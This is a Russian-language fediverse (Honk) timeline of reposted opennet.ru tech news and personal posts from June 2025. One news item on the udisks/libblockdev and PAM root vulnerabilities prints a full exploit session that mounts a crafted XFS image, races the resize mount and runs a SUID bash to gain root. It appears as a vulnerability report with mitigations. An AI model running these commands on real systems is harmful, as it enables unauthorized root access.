Выпуск игрового движка Open 3D Engine 25.05, открытого компанией Amazon Исходный код движка O3DE был открыт в июле 2021 года компанией Amazon и основаны на коде ранее развиваемого проприетарного движка Amazon Lumberyard, построенного на технологиях движка CryEngine, лицензированных у компании Crytek в 2015 году. После открытия кодовой базы развитие движка курирует некоммерческая организация Open 3D Foundation, созданная под эгидой Linux Foundation. Помимо Amazon к совместной работе над проектом подключились такие компании, как Epic Games, Adobe, Huawei, Microsoft, Intel и Niantic.
Движок включает в себя интегрированную среду для разработки игр, многопоточную систему фотореалистичного рендеринга Atom Renderer с поддержкой Vulkan, Metal и DirectX 12, расширяемый редактор 3D-моделей, систему анимирования персонажей (Emotion FX), систему разработки полуфабрикатов (prefab), движок симуляции физических процессов в реальном режиме времени и математические библиотеки, использующие инструкции SIMD. Для определения игровой логики может использоваться среда визуального программирования (Script Canvas), а также языки Lua и Python.
Проект изначально рассчитан на возможность адаптации под свои нужды и имеет модульную архитектуру. Всего предлагается более 30 модулей, поставляемых в виде отдельных библиотек, пригодных для замены, интеграции в сторонние проекты и использования по отдельности. Например, благодаря модульности разработчики могут заменить рендер графики, звуковую систему, поддержку языков, сетевой стек, физический движок и любые другие компоненты.
Среди изменений в новой версии:
Источник: https://www.opennet.ru/opennews/art.shtml?num=63432
Things happen.
contrinitiator
honked back 19 Jun 2025 16:55 +0200
in reply to: https://honk.any-key.press/u/contrinitiator/h/FPPbYP8v6G8HQKvGhG
@wthinker @coolingfan375 А ещё есть бивачные мешки, это уже что-то между тентом и спальником. Хочу попробовать такое.
contrinitiator
bonked 19 Jun 2025 16:53 +0200
original: kolobos@fe.disroot.org
На панелях ПМЭФ.
contrinitiator
honked back 19 Jun 2025 16:46 +0200
in reply to: https://makertube.net/videos/watch/6f2bb949-13ea-428f-8dc3-545556eed906/comments/40430
contrinitiator
honked back 19 Jun 2025 16:46 +0200
in reply to: https://makertube.net/videos/watch/6f2bb949-13ea-428f-8dc3-545556eed906/comments/40430
@wthinker @coolingfan375 Да не, там не деревянный, а обычный футпринт. Просто сравнительно с основной москитной палаткой он солиднее. А так вариант пешеходный.
contrinitiator
honked back 19 Jun 2025 15:44 +0200
in reply to: https://mastodon.social/users/coolingfan375/statuses/114710290056354340
contrinitiator
honked back 19 Jun 2025 14:12 +0200
in reply to: https://mastodon.social/users/cheb/statuses/114709888255014854
contrinitiator
honked back 19 Jun 2025 13:33 +0200
in reply to: https://honk.any-key.press/u/continue/h/3Sp949D5k8fxMM88vg
Уязвимости в библиотеке libxml2, приводящие к выполнению кода Уязвимость CVE-2025-6170 вызвана переполнением буфера в реализации интерактивной оболочки xmllint, применяемой для разбора XML-файлов. Переполнение возникает при обработке очень длинных аргументов команд из-за отсутствия корректной проверки размера входных данных перед копированием данных функцией strcpy(). Для эксплуатации уязвимости атакующий должен иметь возможность влиять на команды, передаваемые в утилиту xmllint. Патч для устранения уязвимости пока недоступен.
Вторая потенциально опасная уязвимость CVE-2025-6021 присутствует в реализации функции xmlBuildQName() и приводит к записи данных за пределы буфера из-за целочисленного переполнения при вычислении размера буфера на основе префикса и локального имени. Для устранения уязвимости подготовлен патч. Исправление включено в состав выпуска libxml2 2.14.4. Проверить состояние новой версии пакета или подготовки исправления в дистрибутивах можно на следующих страницах (если страница недоступна, значит разработчики дистрибутива ещё не приступили к рассмотрению проблемы): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo и Arch (1, 2).
Остальные три проблемы приводят к аварийному завершению из-за обращения к уже освобождённой области памяти в функции xmlSchematronGetNode (CVE-2025-49794), разыменования нулевого указателя в функции xmlXPathCompiledEval (CVE-2025-49795) и неправильной обработки типов (Type Confusion) в функции xmlSchematronFormatReport (CVE-2025-49796). Для устранения данных уязвимостей рассматривается возможность удаления из libxml2 поддержки языка разметки Schematron.
Дополнительно отмечается наличие трёх неисправленных уязвимостей в библиотеке libxslt, оставшейся без активного сопровождающего. Информация по данным проблемам пока не раскрывается и запланирована к публикации 9 июля, 13 июля и 6 августа. Неисправленные и публично не обнародованные уязвимости также отмечаются в связанных с GNOME проектах gvfs, libgxps, gdm, glib, GIMP и libsoup.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63431
continue
honked back 19 Jun 2025 12:28 +0200
in reply to: https://mastodon.social/users/cheb/statuses/114708700587229758
continue
honked back 19 Jun 2025 12:21 +0200
in reply to: https://lastfree.space/objects/30d21f2a-1668-53d8-0e51-ced192944486
Спасибо @gospodin и @vlnst за прекрасный альтернативный фронтэнд к deepl:
https://tl.bloat.cat/?engine=deepl&sl=en&tl=ru&text=test
Обновление антивирусного пакета ClamAV 1.4.3 и 1.0.9 с устранением уязвимостей
Источник: https://www.opennet.ru/opennews/art.shtml?num=63430
contrinitiator
honked back 19 Jun 2025 11:11 +0200
in reply to: https://mstdn.host116.ru/users/putnik16/statuses/114708680563380700
contrinitiator
honked back 19 Jun 2025 10:49 +0200
in reply to: https://mastodon.social/users/coolingfan375/statuses/114709157048375534
contrinitiator
honked back 19 Jun 2025 10:46 +0200
in reply to: https://mastodon.social/users/coolingfan375/statuses/114709145703223969
contrinitiator
honked back 19 Jun 2025 10:45 +0200
in reply to: https://friends.deko.cloud/objects/d0446be5-1568-53cd-00ef-536238023487
contrinitiator
honked back 19 Jun 2025 10:44 +0200
in reply to: https://friends.deko.cloud/objects/d0446be5-3368-53cd-74ce-0df001295866
contrinitiator
honked 19 Jun 2025 10:42 +0200
continue
honked back 19 Jun 2025 10:09 +0200
in reply to: https://honk.any-key.press/u/continue/h/kRd6FG47d837Wk227V
Вишенка на торте (торт, извините, из говна): нельзя написать в поддержку не имея учётной записи.
Современные проблемы требуют современных решений: вы не будете портить себе статистику сообщениями об ошибках создания аккаунта, если вам нельзя написать не имея аккаунта!
Почему сайты издательств это всегда какой-то ад в плане управления пользователями? И знаете в чем проблема проблема? Если в домене элеткронной почты (то есть после
@
) есть две точки, то кнопка "Создать аккаунт" не становится активной. Обожаю эти ваши самодельные валидаторы адреса электронной почты от школоты в "крупнейшем издательстве России, одном из крупнейших издательств Европы, входит в мировой топ-50" (википедия).
Опубликован офисный пакет ONLYOFFICE 9.0 В ONLYOFFICE заявлена полная совместимость с форматами MS Office и OpenDocument. Среди поддерживаемых форматов: DOC, DOCX, ODT, RTF, TXT, PDF, HTML, EPUB, XPS, DjVu, XLS, XLSX, ODS, CSV, PPT, PPTX, ODP. Предусмотрена возможность расширения функциональности редакторов через плагины, например, доступны плагины для создания шаблонов и добавления видео с YouTube. Отдельно развивается открытый продукт ONLYOFFICE DesktopEditors, построенный на единой кодовой базе с online-редакторами и объединяющий в одном наборе клиентские и серверные компоненты, оформленные для самодостаточного использования на локальной системе пользователя и способные работать без обращения к внешнему сервису.
Основные новшества:
Источник: https://www.opennet.ru/opennews/art.shtml?num=63429
contrinitiator
honked 19 Jun 2025 09:33 +0200
помнится, ещё лет 10 назад начинали просачиваться новости про китайские дешевые искусственные яйца, которые "делают из кальций карбоната, бензойной кислоты, парафина, пищевого красителя, гипса и некоторых других компонентов"
contrinitiator
honked back 19 Jun 2025 09:30 +0200
in reply to: https://honk.any-key.press/u/contrinitiator/h/2hZtVsH1Jw43ydyPZ1
Та самая чёрная аристократия (см. Александр де Дананн. Память крови).
continue
bonked 19 Jun 2025 09:04 +0200
original: mpts@mastodon.social
I've just committed a new manual page to #FreeBSD: tracing(7), an introduction to #tracing and #performance #monitoring facilities. It'll take a moment before it is available for readers on man.freebsd.org, so for the time being you can grab a copy from here (https://cgit.freebsd.org/src/plain/share/man/man7/tracing.7?id=c29459f901dc73e1ebe1e654da2677cc0b7bd296) and open it with man(1). #DTrace #dwatch #ktrace #osdev #foss #ptrace #utrace #truss #boottrace #tslog
continue
bonked 19 Jun 2025 07:55 +0200
original: Siroj42@troet.cafe
@prahou I had the opportunity to see a lot of Miró's work when I visited Barcelona recently, amazing stuff.
continue
bonked 19 Jun 2025 07:44 +0200
original: anjan@pleroma.debian.social
I just released honeybee 0.2.0! Honeybee is a simple daemon for making calls via xmpp. For the changelog, see the git commit: https://git.sr.ht/~anjan/honeybee/commit/9f3dfdb4fac505161690aa7cddd0853ac00a3f23
It should be available in Alpine testing repos soon.
contrinitiator
honked 18 Jun 2025 21:21 +0200
Пишут, что Папа Римский Лев XIV
оказался родственником Хиллари Клинтон, Мадонны, Анджелины Джоли, Джастина Бибера и Джастина Трюдо. Их связывает предок из Квебека, живший в XVII веке.
contrinitiator
bonked 18 Jun 2025 17:07 +0200
original: snowman@pixelfed.ru
Кто-нибудь может объяснить логику этой надписи?
contrinitiator
honked back 18 Jun 2025 15:00 +0200
in reply to: https://mastodon.ml/users/livefish/statuses/114704248722949424
@livefish А, ну да, точнее, смотришь на Спортивную, виден купол Владимирского собора. Значит, ты где-то на набережной Макарова.
Релиз среды разработки Qt Creator 17 Краткий список улучшений и исправлений:
Значения одних профилей запуска теперь можно копировать в другие с помощью кнопки "Copy into This" вне зависимости от принадлежности к конкретному сборочному профилю.
Добавлены изменения, призванные упростить жизнь разработчиков при использовании классов Qt, не используемых ранее в проекте (не найденных Code Model): новый quick fix (жёлтая лампочка в редакторе на строке с новым для проекта классом Qt) позволяет добавить недостающие директивы #include в исходники и недостающие модули Qt в файл проекта. Такой же quick fix на строках с директивами #include позволяет добавить необходимые модули Qt в файл проекта.
В панель инструментов редактора кода QML добавлена новая кнопка для открытия файлов .ui.qml в Qt Design Studio.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63425
continue
honked back 18 Jun 2025 13:42 +0200
in reply to: https://honk.any-key.press/u/continue/h/T6Dkpr79x589jYGcf2
Посмотрел две другие работы Адама Эллиота: "Мэри и Макс" и "Харви Крампет". Очень любопытно: как будто смотришь серии из одного произведения. Всё выдержано в одном узнаваемом визуальном стиле. Очень дотошная работа с маниакальным вниманием к деталям. И даже в сюжетах есть много общего. Но при этом смотреть все тир работы интересно, каждую по-своему.
contrinitiator
honked back 18 Jun 2025 13:18 +0200
in reply to: https://mastodon.ml/users/livefish/statuses/114703724341170829
contrinitiator
bonked 18 Jun 2025 11:32 +0200
original: coolingfan375@mastodon.social
@dside
прямо сейчас пишу этот коммент с ноутбука 2011-го года, основной и единственный "рабочий инструмент". справляется нормально. оперативы только докупить пришлось.
contrinitiator
honked 18 Jun 2025 10:20 +0200
А доя походов вот. Не знаю, насколько оправдано исторически, но такая заточка на рынке стала называться «манси» (в ряду с «якутом») - получается что-то вроде стамески, как «сканди», но примерно до середины обуха только с одной стороны (иначе можно сказать, что с другой стороны тоже заточка в ноль, но начиная от самого обуха). Сам нож небольшой, но обух довольно толстый, 5 мм или даже шире.
continue
honked back 18 Jun 2025 10:02 +0200
in reply to: https://honk.any-key.press/u/opennet/h/KVc3B2ThDnv38j152H
Уязвимости в PAM и libblockdev, позволяющие получить права root в системе Процесс udisks применяется практически во всех дистрибутивах Linux и предоставляет интерфейс D-Bus для выполнения операций с накопителями, таких как монтирование и форматирование. Для совершения действий с накопителями udisks вызывает функции библиотеки libblockdev. Доступ к udisks по умолчанию открыт только для пользователей, работающих в контексте "allow_active", т.е. имеющих физический доступ к компьютеру и подключившихся через локальную консоль или запустивших графический сеанс. Пользователи, подключающиеся удалённо, например, по ssh, не попадают в этот контекст и напрямую не могут эксплуатировать уязвимость.
Для обхода данного ограничения можно использовать трюк, позволяющий поднять уровень аутентификации до "allow_active" через манипуляции с запуском утилитой systemctl пользовательского сервиса, который polkitd воспримет как признак локального сеанса. Суть метода в том, что polkitd определяет наличие физического доступа и присваивает уровень "allow_active" на основе косвенных признаков, на которые можно повлиять. Ограничения метода в том, что для обмана polkitd требуется, чтобы в системе уже был активен сеанс локального пользователя с физическим доступом.
Вторым методом получения прав "allow_active" является эксплуатация уязвимости (CVE-2025-6018) в PAM (Pluggable Authentication Modules), которую исследователи из Qualys выявили в ходе анализа уязвимости в libblockdev. Уязвимость позволяет любому пользователю, в том числе подключившемуся по SSH, выполнять операции в контексте "allow_active". Проблема специфична для настроек PAM в openSUSE Leap 15 и SUSE Linux Enterprise 15, и проявляется только в этих дистрибутивах.
В модуле pam_env в openSUSE и SUSE по умолчанию включено чтение файла ~/.pam_environment. Через данный файл пользователь может выставить переменные окружения XDG_SEAT=seat0 и XDG_VTNR=1, которые при дальнейшей обработке будут восприняты как признак физического присутствия пользователя, даже если фактически вход осуществлён по SSH. Модуль pam_env также вызывается при подключении по ssh в Debian 12 и Ubuntu 24.04 (в Debian 13 и Ubuntu 24.10+ он отключён), но выставление переменных окружения в данных дистрибутивах не может применяться для повышения уровня доступа до "allow_active", так как pam_env вызывается на финальном этапе после загрузки модуля pam_systemd и выставленные переменные окружения не могут повлиять на параметры сеанса.
Что касается уязвимости в libblockdev, то атакующий может примонтировать образ произвольной файловой системы в loop-режиме, разместив в этом образе исполняемый файл с флагом SUID root или специальное устройство (/dev/mem) для низкоуровневого доступа к дискам или памяти. Для блокирования подобных атак образы ФС монтируются системой с флагами nosuid и nodev, но уязвимость в libblockdev даёт возможность примонтировать образ без флагов nosuid и nodev. Суть уязвимости в том, что udisks позволяет пользователю с уровнем доступа "allow_active" менять размер своих файловых систем и libblockdev в процессе выполнения данной операции временно монтирует ФС без выставления флагов nosuid и nodev.
Таким образом атака сводится к созданию loop-устройства на базе образа ФС XFS, в котором размещён suid root файл, инициирования операции изменения размера loop-устройства и отслеживанию момента его монтирования в каталог /tmp/blockdev*:
Уязвимость в libblockdev пока устранена только в виде патчей. Проверить состояние новой версии пакета или подготовки исправления в дистрибутивах можно на следующих страницах (если страница недоступна, значит разработчики дистрибутива ещё не приступили к рассмотрению проблемы): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo и Arch (1, 2). В качестве обходных путей для блокирования уязвимости можно изменить правило доступа к операции "org.freedesktop.udisks2.modify-device" в polkit, изменив в файле /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy значение параметра "allow_active" с "yes" на "auth_admin".
Дополнительно можно отметить раскрытую несколько часов назад уязвимость (CVE-2025-6020) в пакете linux-pam, позволяющую локальному пользователю получить права root. Модуль pam_namespace должным образом не проверял файловые пути, подконтрольные пользователю, что позволяло через манипуляции с символическими ссылками и достижением состояния гонки добиться перезаписи привилегированных файлов в системе. Уязвимость устранена в выпуске linux-pam 1.7.1. Проверить состояние новой версии пакета или подготовки исправления в дистрибутивах можно на следующих страницах: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo и Arch (1, 2).
victim> killall -KILL gvfs-udisks2-volume-monitor
victim> udisksctl loop-setup --file ./xfs.image --no-user-interaction
Mapped file ./xfs.image as /dev/loop0.
victim> while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
victim> gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop0: Failed to unmount '/dev/loop0' after resizing it: target is busy
-r-sr-xr-x. 1 root root 1406608 Jun 18 09:42 /tmp/blockdev.RSM429/bash
victim> /tmp/blockdev*/bash -p
victim# id
uid=65534(nobody) gid=65534(nobody) euid=0(root) groups=65534(nobody)
Источник: https://www.opennet.ru/opennews/art.shtml?num=63424
contrinitiator
bonked 18 Jun 2025 09:10 +0200
original: kidchai@mastodon.ml
Современные линогравюры инуитов из региона Нунавик. Это попытки возрождения традиции гравюры в этих общинах.
continue
bonked 18 Jun 2025 08:41 +0200
original: kidchai@mastodon.ml
Современные линогравюры инуитов из региона Нунавик. Это попытки возрождения традиции гравюры в этих общинах.
contrinitiator
bonked 18 Jun 2025 06:45 +0200
original: tedu@honk.tedunangst.com
Honknet users, please contact your instance administrator to obtain a full copy of the terms of service. Read and review, sign in triplicate, then store in a safe place. You won't need it today, but someday you will, and boy howdy will you be glad to have it then.
contrinitiator
honked 18 Jun 2025 06:44 +0200
в культуре славянской грибы, напротив, воспринимаются в целом позитивно. старичок, помогающий заплутавшим малолеткам, зачастую выглядит как антропоморфный боровик или другой полезный гриб, которых различают до деталей вплоть до груздей белых/черных
так что перенесенная на наш гумус версия 'the last of us' будет полной противоположностью исходнику. как весенняя/светлая история, в которой пораженные спорами — и преобразованные ими — люди-маслята подносят всем по рюмочке клюковки
Обновление X.Org Server 21.1.17 с устранением 6 уязвимостей Выявленные уязвимости:
Источник: https://www.opennet.ru/opennews/art.shtml?num=63423
continue
bonked 17 Jun 2025 21:05 +0200
original: alado@lastfree.space
contrinitiator
honked back 17 Jun 2025 19:55 +0200
in reply to: https://misskey.vikingkong.xyz/notes/a94dllfc4toe07vz
continue
honked back 17 Jun 2025 19:41 +0200
in reply to: https://lastfree.space/objects/30d21f2a-1268-5197-96d7-10c914235836
С моей стороны не видно:
$ curl -s -I https://lastfree.space/display/30d21f2a-1268-5197-96d7-10c914235836
HTTP/2 200
alt-svc: h3=":443"; ma=2592000
cache-control: no-store, no-cache, must-revalidate
content-security-policy: default-src 'self'; object-src 'none'; img-src * 'self' data:; media-src *; script-src 'unsafe-inline' 'self'; style-src 'unsafe-inline' 'self'; child-src *; connect-src *
content-type: text/html; charset=utf-8
expires: Thu, 19 Nov 1981 08:52:00 GMT
permissions-policy: interest-cohort=()
pragma: no-cache
server: Caddy
set-cookie: PHPSESSID=3on039cokrfra9asb0ki0dmh96; path=/; secure; HttpOnly
strict-transport-security: max-age=31536000;
vary: Accept-Language
vary: Accept
x-account-management-status: none
x-content-type-options: nosniff
x-frame-options: Deny
x-frame-options: sameorigin
x-friendica-version: 2024.12
x-permitted-cross-domain-policies: none
x-response-type: html
x-xss-protection: 1; mode=block
date: Tue, 17 Jun 2025 17:38:53 GMT
$ curl -s -I https://lastfree.space/
HTTP/2 200
alt-svc: h3=":443"; ma=2592000
cache-control: no-store, no-cache, must-revalidate
content-security-policy: default-src 'self'; object-src 'none'; img-src * 'self' data:; media-src *; script-src 'unsafe-inline' 'self'; style-src 'unsafe-inline' 'self'; child-src *; connect-src *
content-type: text/html; charset=utf-8
expires: Thu, 19 Nov 1981 08:52:00 GMT
permissions-policy: interest-cohort=()
pragma: no-cache
server: Caddy
set-cookie: PHPSESSID=gvpv9bk2vrjbutqj9h3prifi8p; path=/; secure; HttpOnly
strict-transport-security: max-age=31536000;
vary: Accept-Language
vary: Accept
x-account-management-status: none
x-content-type-options: nosniff
x-frame-options: Deny
x-frame-options: sameorigin
x-friendica-version: 2024.12
x-permitted-cross-domain-policies: none
x-response-type: html
x-xss-protection: 1; mode=block
date: Tue, 17 Jun 2025 17:39:37 GMT
contrinitiator
honked back 17 Jun 2025 19:10 +0200
in reply to: https://misskey.vikingkong.xyz/notes/a946jmrt4toe07vk
@vikingkong Пора привыкнуть, что если что-то есть позорное или худое, то после "принятия" "закона" оно станет ещё хуже и позорнее.
contrinitiator
bonked 17 Jun 2025 19:09 +0200
original: som@mastodon.ml
Яндекс быстро учится у гугла - такой заметный прогресс превращения карт в говно...
contrinitiator
honked 17 Jun 2025 19:04 +0200
Релиз среды рабочего стола KDE Plasma 6.4 Основные изменения:
Источник: https://www.opennet.ru/opennews/art.shtml?num=63421
continue
bonked 17 Jun 2025 17:21 +0200
original: crc@mastodon.bsd.cafe
I've completed bug fixes in #RetroForth's #nga vm for the internal UTF8 to UTF32 conversions. This was one of the two blockers holding off a new release, so I'm now hoping to have version 2025.6 out near the end of the month.
continue
bonked 17 Jun 2025 16:35 +0200
original: continue@honk.any-key.press
TIL: что бы увековечить имя Терри Пратчетта люди начали добавлять в инфраструктуру интернета сообщение В серии книг "Плоский мир" присутствуют клик-башни (то есть башни-семафоры), передающие сообщения "по цепочке". Перед сообщением идут управляющие коды, это как раз то самое То есть закодирован вечный цикл отправки сообщения по всей линии башен (туда и обратно). А теперь люди в память о Терри Пратчетте добавляют необязательный заголовок
GNU Terry Pratchett
GNU
:X-Clacks-Overhead
в разные части инфраструктуры (например в HTTP сервер), что бы почтить память писателя.– А я знаю про «отправку домой», – сказала Принцесса. – И знаю, что души погибших семафорщиков остаются на Магистрали.
– Кто тебе рассказал? – спросил Дедушка.
Принцесса была достаточно смышленой, чтобы понимать, что кое-кому не поздоровится, если она начнет вдаваться в подробности.
– Слышала, – беззаботно ответила она.
– Тебя просто решили напугать, – сказал Дедушка, глядя на краснеющие уши Роджера.
Но Принцесса не видела в этом ничего страшного. Если уж ты мертв, то намного лучше летать между башнями, чем лежать под землей. Но она была достаточно смышленой и для того, чтобы знать, когда закрыть тему.
После долгой паузы, нарушаемой лишь скрипом новых створок на заслонках, заговорил Дедушка. Как будто что-то не давало ему покоя.
– Мы продолжаем передавать это имя по верхней частоте, – произнес он, и Принцессе показалось, что ветер в решетке заслонок над ее головой завыл с особенной безнадегой, а нескончаемое щелканье стало еще более отчаянным. – Он бы ни за что не захотел возвращаться домой. Он был настоящим семафорщиком. Его имя в этих сигналах, в ветре, в арматуре и в заслонках. Разве ты никогда не слышала, что человек жив, пока не забыто его имя?
continue
honked back 17 Jun 2025 16:34 +0200
in reply to: https://honk.any-key.press/u/continue/h/Rpn78v98V12533z8gs
TIL: что бы увековечить имя Терри Пратчетта люди начали добавлять в инфраструктуру интернета сообщение В серии книг "Плоский мир" присутствуют клик-башни (то есть башни-семафоры), передающие сообщения "по цепочке". Перед сообщением идут управляющие коды, это как раз то самое То есть закодирован вечный цикл отправки сообщения по всей линии башен (туда и обратно). А теперь люди в память о Терри Пратчетте добавляют необязательный заголовок
GNU Terry Pratchett
GNU
:X-Clacks-Overhead
в разные части инфраструктуры (например в HTTP сервер), что бы почтить память писателя.– А я знаю про «отправку домой», – сказала Принцесса. – И знаю, что души погибших семафорщиков остаются на Магистрали.
– Кто тебе рассказал? – спросил Дедушка.
Принцесса была достаточно смышленой, чтобы понимать, что кое-кому не поздоровится, если она начнет вдаваться в подробности.
– Слышала, – беззаботно ответила она.
– Тебя просто решили напугать, – сказал Дедушка, глядя на краснеющие уши Роджера.
Но Принцесса не видела в этом ничего страшного. Если уж ты мертв, то намного лучше летать между башнями, чем лежать под землей. Но она была достаточно смышленой и для того, чтобы знать, когда закрыть тему.
После долгой паузы, нарушаемой лишь скрипом новых створок на заслонках, заговорил Дедушка. Как будто что-то не давало ему покоя.
– Мы продолжаем передавать это имя по верхней частоте, – произнес он, и Принцессе показалось, что ветер в решетке заслонок над ее головой завыл с особенной безнадегой, а нескончаемое щелканье стало еще более отчаянным. – Он бы ни за что не захотел возвращаться домой. Он был настоящим семафорщиком. Его имя в этих сигналах, в ветре, в арматуре и в заслонках. Разве ты никогда не слышала, что человек жив, пока не забыто его имя?
http://www.gnuterrypratchett.com/
$ curl -s -I https://www.bsdhowto.ch/ | grep X-Clacks-Overhead
X-Clacks-Overhead: GNU Terry Pratchett
$ curl -s -I https://git.sr.ht/ | grep clacks
x-clacks-overhead: GNU Terry Pratchett
https://xclacksoverhead.org/
contrinitiator
honked 17 Jun 2025 15:09 +0200
В первую очередь надо защитить русский язык от депутатов, сенаторов и президента.
continue
bonked 17 Jun 2025 14:27 +0200
original: stsp@bsd.network
@YaLTeR Don't make the mistake of trying to solve every reported problem or answering every question. Especially if you are managing the project alone. You're seeing the inherent risk of burnout of doing this now, ahead of time, which is very good. Prioritize your own needs and your health. I am intentionally leaving some small bugs in my projects unfixed. Critical problems should of course be fixed. But there are advantages to leaving some things broken.
Unsolved problems will attract new contributors. Unanswered questions will attract people who are motivated to help others. If you fill out all this space yourself then people might get the impression that no help is needed and spend their time helping out elsewhere.
Разработчики САПР KiCad раскритиковали Wayland и рекомендовали использовать X11 Тем кто намерен использовать KiCad в окружениях с Wayland следует быть готовым к возможным зависаниям и аварийным завершениям, невозможности восстановить желаемую раскладку окон и ограничению функциональности интерфейса. Утверждается, что ограничения в функциональности вызваны отсутствием в Wayland возможностей, давно применяемых в приложениях для X11, Windows и macOS, таких как поддержка позиционирования окон и мгновенного перемещения указателя мыши (cursor warp).
Что касается возникающих сбоев, то они связываются с большой фрагментацией композитных серверов для Wayland. GNOME, KDE и обособленные композитные менеджеры по своему интерпретируют протоколы Wayland, поэтому полагаться при разработке на единую целостную реализацию протоколов Wayland и экспериментальные расширения проблематично. Разработчикам приложений приходится учитывать особенности каждого окружения и применять костыли для обхода проблем, специфичных для разных композитных менеджеров.
Фрагментация композитных серверов существенно увеличивает трудозатраты на реализацию поддержки Wayland. Отмечается, что самое неприятное в том, что разработчики KiCad не имеют возможности исправить возникающие проблемы своими силами, так как проблемы присутствуют не в KiСad, а в протоколах, оконных менеджерах и композитных серверах.
Учитывая, что Linux применяет лишь небольшая часть пользователей KiCad, решено избегать добавления в кодовую базу проекта костылей для обхода проблем, специфичных для оконных менеджеров, но при этом продолжать собирать KiCad для Wayland и тестировать сборки на совместимость. Все выявляемые проблемы и ограничения планируют документировать и доводить до сведения пользователей.
В системе отслеживания ошибок решено не разбирать жалобы от пользователей Wayland, связанные с позиционированием и размером окон, установкой фокуса, а также зависаниями, аварийными завершениями, повышенной нагрузке на CPU, проблемами с устройствами ввода и сбоями при отрисовке, не проявляющимися в сборке для X11.
Среди известных проблем, которые находятся вне зоны влияния разработчиков KiCad и которые не удаётся устранить на стороне KiCad:
Дополнительно можно отметить прогресс в разработке проекта X11Libre, развивающего форк X.Org Server. За 10 дней с момента основания форка к разработке подключилось 11 участников, которые отправили 31 изменение. Энрико Вайгельт, автор форка, в свою очередь перенёс в форк 1267 своих изменений, не принятых в основной состав X.Org. Тем временем, разработчики X.Org откатили из кодовой базы X.Org Server 6 изменений, ранее принятых от Энрико Вайгельта и приводящих к регрессиям или связанных с пометкой некоторых возможностей устаревшими (всего до создания форка от Энрико в X.Org Server было принято 1568 изменений).
Кевин Кофлер (Kevin Kofler) из проекта Fedora, входящий в рабочую группу, занимающуюся сопровождением пакетов с KDE, предложил заменить в Fedora Linux пакет xorg-x11-xserver на реализацию X-сервера от форка XLibre. В качестве мотива замены упомянут переход на активно сопровождаемую кодовую базу вместо продолжения поставки устаревшего и почти не обновляемого проекта X.Org, который по заявлению его разработчиков почти остался без сопровождения. Автор форка был наиболее активным участником проекта X.Org Server и поставка форка будет выгодна создателям редакций Fedora, остающихся на X11, например, из-за добавления в X11Libre X11-расширения Xnamespace, обеспечивающего изоляцию клиентов на уровне пространств имён X11. Предложение пока не утверждено комитетом FESCo (Fedora Engineering Steering Committee), отвечающим за техническую часть разработки дистрибутива Fedora.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63419
continue
bonked 17 Jun 2025 11:07 +0200
original: beyondmachines1@infosec.exchange
continue
bonked 17 Jun 2025 11:02 +0200
original: kidchai@mastodon.ml
У берегов Торонто есть несколько островов, куда ходит паром. Там огромный парк, где здорово гулять, кататься на велосипеде и рыбачить. А ещё там живут люди, дома которых утопают в зелени, садах и цветниках. И всё такое миленькое, как в детской книжке.
continue
bonked 17 Jun 2025 11:00 +0200
original: Konstantin@pixelfed.de
Дороги наши под облаками...
Беларусь.
#photography #WTphoto #travel #landscape #by #пейзаж #путешествия
contrinitiator
honked 17 Jun 2025 10:20 +0200
Вижу, что по старинке пытаются учить зумеров всяким премудростям «взрослой жизни», представляя ситуацию как нечто объективное или неизбежное, тогда как порочная искусственность очевидна – молодёжь вынуждена ехать в мегаполисы просто чтоб не деградировать и не превратиться в замороженный фарш, а в мегаполисе они могут заниматься только «дерьмовой работой» без перспектив, которая никому не нужна, но без которой не выжить. Интересно, что при этой власти даже минимальный доход дело бы не поправил (хотя эта задумка мне нравится) – если немного подумать выживании «страны», «народа», «сказок на русском языке» и тп – потому что получатели дохода превратились бы в полурабов (по типу наших бюджетников), а сами суммы оседлали бы успешные манагеры.
Так что понимают они всё правильно (хотя рыдать на камеру смысла не имеет).
Arch Linux перешёл на 64-разрядные сборки Wine (WoW64) В качестве причины изменения упоминается синхронизация с изменениями в основном проекте Wine, связанными с упрощением создания пакетов и сокращением цепочки зависимостей. Среди проблем, которые могут возникнуть после миграции на Wow64, упоминается снижение производительности OpenGL для 32-разрядных программ Windows и необходимость пересоздания существующих 32-разрядных префиксов Wine.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63418
Выпуск системы управления исходными текстами Git 2.50 По сравнению с прошлым выпуском в новую версию принято 621 изменение, подготовленное при участии 98 разработчиков, из которых 35 впервые участвуют в разработке. Основные новшества:
В новой версии предложена опция "--combine-cruft-below-size", при помощи которой можно организовать объединение существующих pack-файлов, размер которых не превышает заданное значение. В отличие от ранее доступной опции "--max-cruft-size" новая опция "--combine-cruft-below-size" не ограничивает максимальный размер результирующего pack-файла, что позволяет более эффективно объединять pack-файлы в репозиториях с большим числом недостижимых объектов, разнесённых по нескольким pack-файлам.
git cat-file --batch-check='%(objectname)' --filter='object:type=tree'
Источник: https://www.opennet.ru/opennews/art.shtml?num=63413
contrinitiator
honked 16 Jun 2025 17:40 +0200
В новом видео Линдеманна снялась Полига Ауг. Хорошо!
contrinitiator
honked back 16 Jun 2025 16:22 +0200
in reply to: https://mastodon.social/users/coolingfan375/statuses/114693443431267064
contrinitiator
honked back 16 Jun 2025 16:19 +0200
in reply to: https://mastodon.social/users/coolingfan375/statuses/114693443431267064
contrinitiator
honked back 16 Jun 2025 16:00 +0200
in reply to: https://honk.any-key.press/u/contrinitiator/h/fVcnVqsyw5173N16J6
Они пытаются показать мне «информацию», которую им дал ChatGPT. Я спрашиваю их: «Откуда вы знаете, что это правда?» Они подносят свой телефон ближе ко мне для выразительности, восклицая: «Смотри, здесь это написано!» Они не могут понять, о чем я их спрашиваю...
contrinitiator
honked 16 Jun 2025 16:00 +0200
